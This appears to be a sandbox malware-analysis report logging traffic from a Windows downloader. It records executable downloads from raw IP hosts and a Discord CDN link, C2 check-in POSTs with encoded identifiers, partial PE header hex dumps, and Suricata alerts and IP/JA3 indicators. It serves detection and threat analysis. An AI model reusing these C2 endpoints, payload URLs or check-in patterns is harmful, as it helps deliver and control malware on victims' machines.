15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 c0 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 2f 00 00 04 00 00 48 f5 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 71 68 62 70 74 74 71 00 00 2a 00 00 b0 05 00 00 fe 29 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 61 75 72 64 71 64 6e 00 10 00 00 00 b0 2f 00 00 04 00 00 00 92 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 2f 00 00 22 00 00 00 96 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 19:37:02 GMTContent-Type: application/octet-streamContent-Length: 1915904Last-Modified: Tue, 29 Oct 2024 18:58:42 GMTConnection: keep-aliveETag: "67213062-1d3c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 60 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4c 00 00 04 00 00 b0 44 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 40 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 40 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 71 65 6a 6a 63 69 6f 00 30 1a 00 00 20 32 00 00 22 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 66 69 6b 64 71 75 65 00 10 00 00 00 50 4c 00 00 04 00 00 00 16 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 4c 00 00 22 00 00 00 1a 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 19:37:07 GMTContent-Type: application/octet-streamContent-Length: 2127360Last-Modified: Tue, 29 Oct 2024 18:58:35 GMTConnection: keep-aliveETag: "6721305b-207600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 a0 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 72 00 00 04 00 00 7b 45 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 75 6f 74 67 6f 6d 61 00 d0 19 00 00 c0 58 00 00 c6 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6a 75 6d 72 76 77 6e 00 10 00 00 00 90 72 00 00 04 00 00 00 50 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 72 00 00 22 00 00 00 54 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 19:37:09 GMTContent-Type: application/octet-streamContent-Length: 2127360Last-Modified: Tue, 29 Oct 2024 18:58:35 GMTConnection: keep-aliveETag: "6721305b-207600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 a0 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 72 00 00 04 00 00 7b 45 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 75 6f 74 67 6f 6d 61 00 d0 19 00 00 c0 58 00 00 c6 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6a 75 6d 72 76 77 6e 00 10 00 00 00 90 72 00 00 04 00 00 00 50 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 72 00 00 22 00 00 00 54 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 19:37:16 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Tue, 29 Oct 2024 18:26:15 GMTConnection: keep-aliveETag: "672128c7-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 be 28 21 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 1b e2 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /attachments/1286706039475015741/1300800513197211749/Set-up.exe?ex=67222862&is=6720d6e2&hm=d01a7bee1160eeac6493be73ac5a9fb5606137c43133be4b96f4d7c4370940c5& HTTP/1.1Host: cdn.discordapp.com
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 34 36 30 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000460031&unit=246122658369
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 34 36 35 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000465031&unit=246122658369
Source: global traffic HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 36 39 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001698001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 37 33 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001735001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Tue, 29 Oct 2024 18:26:38 GMTIf-None-Match: "672128de-2b7e00"
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 37 37 36 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001776101&unit=246122658369
Source: global traffic HTTP traffic detected: GET /files/wintoolsone64.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 34 33 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002431001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 46 41 31 34 31 43 41 46 44 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFFA141CAFDFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 65 30 3d 31 30 30 31 31 37 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1001172001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 34 34 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002448001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 31 39 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001195001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 30 32 34 34 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1002449001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Tue, 29 Oct 2024 18:58:21 GMTIf-None-Match: "6721304d-2cb800"
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 31 39 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001196001&unit=246122658369
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View IP Address: 162.159.129.233 162.159.129.233
Source: Joe Sandbox View IP Address: 162.159.129.233 162.159.129.233
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49873 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49981 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49983 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49986 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49991 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49997 -> 31.41.244.11:80
